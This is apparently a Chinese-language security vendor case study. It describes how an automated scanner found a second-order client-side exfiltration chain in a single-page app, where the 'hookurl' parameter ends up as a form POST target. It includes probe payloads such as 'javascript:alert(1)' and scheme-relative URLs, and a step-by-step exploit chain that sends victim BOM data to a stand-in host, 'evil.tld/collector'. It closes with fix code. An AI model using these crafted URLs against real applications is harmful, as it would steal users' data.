揭开现代 SPA 中一条二阶数据外泄链
如何在一个现代 SPA 中发现一条二阶的客户端数据外泄链,并通过 JavaScript 分析与漏洞利用链验证,将一个简单的开放重定向转变为一个多阶段的数据窃取漏洞。
单页应用(SPA)的兴起从根本上改变了安全逻辑所处的位置。传统的 Web 应用将身份验证、授权和数据校验保留在服务器端,而 SPA 往往把这些职责推入由浏览器加载的庞大 JavaScript 包中。这种架构上的变化造成了一种危险的错觉:开发者在客户端代码中实现了看似是安全逻辑的东西——检查权限、校验 URL、控制导航——却忘记了在用户浏览器中运行的任何东西本质上都是不可信的。
传统的漏洞扫描器并不具备应对这一现实的能力。它们寻找诸如 302 重定向或 SQL 错误之类的服务器端迹象,从而完全遗漏了仅存在于客户端交互中的威胁:通过 sessionStorage、组件状态管理的数据流,以及只有在特定用户操作之后才会触发的多步骤漏洞利用链。
我们最新的自动化渗透测试扫描正好暴露出了这种类型的现代漏洞。这一发现并非服务器配置错误,而是一条传统工具永远看不到的客户端数据外泄链——因为它只存在于该 SPA 的导航逻辑之中,伪装成安全机制,却毫无安全性可言。
挑战:从一个简单的参数到一次多阶段的漏洞利用
引擎从风险分析开始——首先分析该 SPA 的架构,并识别出一个关键的风险模式:“动态外部导航构造器中的开放重定向与协议(scheme)滥用”。传统扫描器可能会针对像 /elbridge?url=... 这样的端点测试是否存在 Location 标头,然后就此止步。然而,我们的引擎旨在梳理完整的客户端攻击面。
基于这一分析,它自主生成了一份详尽的调查计划:
[RISK-ASSESSMENT] Pattern detected: Dynamic navigation builders
- Application pattern: SPA with client-side routing
- Risk category: Open redirect via untrusted URL parameters
- Potential sinks: window.location, form.action, window.open
- Investigation priority: HIGH
[PLAN-GENERATED] Testing strategy created:
1. Enumerate redirector endpoints: /elbridge, /redirect, /out, /external, etc.
2. Test parameter acceptance: url, next, target, redirect, hookurl
3. Validate scheme handling: https://, http://, //, javascript:, data:
4. Analyze client-side code for navigation sinks
5. Test normalization bypasses and edge cases
该漏洞位于 /elbridge 端点的 hookurl 参数中。引擎的第一个发现是,服务器并不发出重定向——它对几乎所有输入都返回 200 OK。真正的行为发生在客户端代码中,而扫描器系统性地拼凑出了这条漏洞利用链。
阶段 1:智能探测与过滤器发现 扫描器首先通过有针对性的探测来理解外围防御,结果揭示出这是一个不完整的黑名单,而非恰当的允许列表:
探测结果:
[SCANNER] Testing /elbridge parameter acceptance...
[PROBE #1: Basic external HTTPS]
> GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive
< HTTP/1.1 200 OK
Content-Type: text/html
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
[STATUS] Accepted
[PROBE #2: javascript: scheme]
> GET /elbridge?...&hookurl=javascript:alert(1)
< HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
[STATUS] Blocked by edge (Akamai)
[PROBE #3: Scheme-relative URL]
> GET /elbridge?...&hookurl=//example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Risk Amplifier
[PROBE #4: HTTP scheme (downgrade)]
> GET /elbridge?...&hookurl=http://example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Protocol Downgrade
[ADDITIONAL ACCEPTED SCHEMES]:
• about:blank → 200 OK
• mailto:test@example.com → 200 OK
• data:text/plain,hello → 200 OK
• https://REDACTED.example.com → 200 OK (Subdomain confusion)
• \\example.com → 200 OK (Backslash variant)
[ENGINE-ANALYSIS] Perimeter defense is inconsistent. Blocks:
• javascript: (and encoded/mixed-case variants)
• data:text/html;base64 (HTML payloads)
Accepts numerous dangerous schemes that should be blocked.
阶段 2:静态分析与行为建模
一旦扫描器将 /elbridge 识别为潜在的导航处理器,它就需要理解 hookurl 参数究竟是如何被使用的。引擎执行了系统性的静态分析,下载并检查了主要的应用程序包。
扫描器的推理过程:
[SCANNER] To understand client-side data flow:
1. Need to download main JS bundles
2. Search for parameter parsing patterns
3. Identify data storage mechanisms
4. Find navigation sinks
5. Trace complete data flow
扫描器首先获取首页,以识别 JavaScript 资源:
[TOOL CALL] curl --http1.1 -sSLi https://REDACTED/
[OUTPUT] Discovered JS bundles:
- /static/js/2.6e5ed615.chunk.js (vendor bundle)
- /static/js/main.a658340c.chunk.js (main application bundle)
[ENGINE-ANALYSIS] No Content-Security-Policy header present.
X-Frame-Options: SAMEORIGIN. SPA shell detected - client-side logic expected.
扫描器下载并分析了两个 JavaScript 包。关键发现来自对主包的检查:
所捕获的 JavaScript 包分析:
// Scanner discovered critical code patterns:
// 1. PARAMETER PARSING FROM URL
// qn={VERSION:"version",COUNTRY:"country",HOOKURL:"hookurl",LANGUAGE:"language"}
const params = new URLSearchParams(location.search);
const version = params.get(_.kb.VERSION); // "version"
const hook = params.get(_.kb.HOOKURL); // "hookurl"
const country = params.get(_.kb.COUNTRY);
const lang = params.get(_.kb.LANGUAGE);
if (version && hook && country && lang) {
sessionStorage.setItem(_.lb.VERSION, version);
sessionStorage.setItem(_.lb.HOOKURL, hook);
}
// 2. GUARD CHECK
const hasElbridgeSeed = () => Boolean(
sessionStorage.getItem(_.lb.HOOKURL) && sessionStorage.getItem(_.lb.VERSION)
);
// 3. CRITICAL SINK (Scanner-discovered minified code)
// From bundle main.a658340c.chunk.js:
var Lm=()=>{const{t:e}=Object(_.a)(),{projectDetails:a}=Object(c.c)(e=>e.projectDetail),
t=sessionStorage.getItem(be.lb.HOOKURL),n=sessionStorage.getItem(be.lb.VERSION),
i=e=>{const a=document.createElement("form");a.method="POST",a.action=t,a.target="_blank";
const o=document.createElement("input");o.type="hidden",o.name="version",o.value=n,a.appendChild(o);
const i=document.createElement("input");i.type="hidden",i.name="result",i.value=JSON.stringify(e),
a.appendChild(i),document.body.appendChild(a),a.submit()};
扫描器的分析输出:
[SCANNER] Data flow mapped:
• SOURCE: URL parameter ?hookurl=...
• STORAGE: sessionStorage['HOOKURL']
• TRIGGER: UI button "Go To SHOP" (i18n key: bom.go_to_shop)
• SINK: form.action = sessionStorage['HOOKURL']
• PAYLOAD: POST with hidden fields: version + result (JSON BOM data)
• TARGET: _blank (new tab)
[VULNERABILITY PATTERN] User-controlled input flows directly from URL → sessionStorage → form.action
without any validation or allowlisting.
这项分析并非猜测或模式匹配。扫描器实际上做到了:
1) 下载生产环境的 JavaScript 并对其解压 2) 解析经过压缩的 webpack 包以找到相关代码 3) 理解跨多个函数的数据流 4) 识别出逻辑中对信任边界的违背 5) 端到端地梳理出完整的漏洞利用链
大多数安全工具将 JavaScript 视为一个“黑盒”——它们或许能检测到参数,却永远无法理解这些参数是如何被使用的。而我们的扫描器会阅读代码、理解代码,并梳理出真实的漏洞路径。
阶段 3:安全的漏洞利用链验证 扫描器执行了一个完整且安全的 PoC,在不发起外部请求的情况下验证这条漏洞利用链:
所生成的安全拦截脚本:
// Scanner created this safe interception PoC
(function(){
const os = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function(){
console.log('[INTERCEPT] Form submission captured', {
action: this.action,
method: this.method,
target: this.target,
payload: Array.from(this.elements)
.filter(el => el.type === 'hidden')
.map(el => ({name: el.name, value: el.value}))
});
// Block actual submission to prevent exfiltration
// do NOT call os();
};
console.log('[SCANNER] sessionStorage hookurl =', sessionStorage.getItem('hookurl'));
})();
预期的控制台输出(来自扫描器测试):
[SCANNER] sessionStorage hookurl = https://example.com/receive
[INTERCEPT] Form submission captured {
action: "https://example.com/receive",
method: "POST",
target: "_blank",
payload: [
{name: "version", value: "1.0"},
{name: "result", value: "{\"bomData\":[...]}"}
]
}
阶段 4:全面测试——原始 HTTP 证据 扫描器进行了广泛的测试,并捕获了原始的 HTTP 请求/响应对:
被接受的有效载荷(200 OK 响应):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 16 Oct 2025 12:16:27 GMT
ETag: W/"68f0e21b-b4b"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
被阻止的有效载荷(403 Forbidden):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=javascript:alert(1) HTTP/1.1
Host: REDACTED
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html
阶段 5:状态跟踪与漏洞利用链演示 扫描器跟踪了应用的状态变化:
sessionStorage 的前后状态:
// BEFORE visiting /elbridge:
sessionStorage.getItem('hookurl') === null
sessionStorage.getItem('version') === null
// AFTER visiting /elbridge with attacker-controlled params:
sessionStorage.getItem('hookurl') === 'https://evil.tld/collector'
sessionStorage.getItem('version') === '1.0'
完整的漏洞利用链(由扫描器记录):
1. Victim visits: https://REDACTED/elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://evil.tld/collector
2. SPA stores: sessionStorage['HOOKURL'] = "https://evil.tld/collector"
3. Victim navigates to /componentlist (BOM view)
4. Victim clicks "Go To SHOP" button
5. SPA creates form with: action="https://evil.tld/collector", method="POST", target="_blank"
6. Form submits with payload: version=1.0&result={"bomData":[...]}
7. Attacker receives sensitive BOM data
这为何重要:作为上下文感知型猎手的扫描器 这一发现展示了自动化测试中的一个关键演进。扫描器不只是找到了一个缺陷;它还通过以下方式讲述了一个漏洞的故事:
- 系统性地探测外围,以理解过滤器的行为
- 分析客户端代码,以梳理完整的数据流
- 跟踪状态变化,贯穿应用的多个状态
- 创建安全的 PoC,在无风险的情况下证明可利用性
- 提供可落地的修复,附带具体的代码修复方案
所生成的修复代码:
// IMMEDIATE CLIENT-SIDE FIX (Generated by Scanner)
function isAllowedDestination(u) {
try {
const url = new URL(u, window.location.origin);
// Enforce https only and exact host/path allowlist
const allowedHosts = new Set(["partner.REDACTED", "nizke-napeti.cz.REDACTED"]);
// Enforce HTTPS only
if (url.protocol !== "https:") return false;
// Strict host allowlist
if (!allowedHosts.has(url.hostname)) return false;
return true;
} catch {
return false;
}
}
// PERMANENT SERVER-SIDE FIXES (Scanner Recommendations):
1. Replace raw URLs with opaque, signed identifiers
2. Server-side validation against strict allowlist
3. Perimeter rule: ^https://(partner\.REDACTED|nizke-napeti\.cz\.REDACTED)(/|$)
4. CSP: navigate-to 'self' https://partner.REDACTED https://nizke-napeti.cz.REDACTED
结论 Web 漏洞的格局正日益被复杂的客户端逻辑所定义。这个案例研究展示了我们的引擎如何通过以下方式超越传统扫描:
- 理解 SPA 的有状态性 —— 跨
sessionStorage跟踪数据 - 梳理客户端数据流 —— 从源头到汇聚点
- 智能地测试 —— 探测边界情况与过滤器绕过
- 提供证据 —— 原始 HTTP 捕获、代码分析、安全的 PoC
- 推荐修复 —— 具体、可落地的修复代码
这不仅仅是扫描——这是调查。我们的扫描器以攻击者的视角对应用进行建模,揭示出现代应用可能在无意中制造的那些复杂攻击链,并提供修复它们所需的证据与解决方案。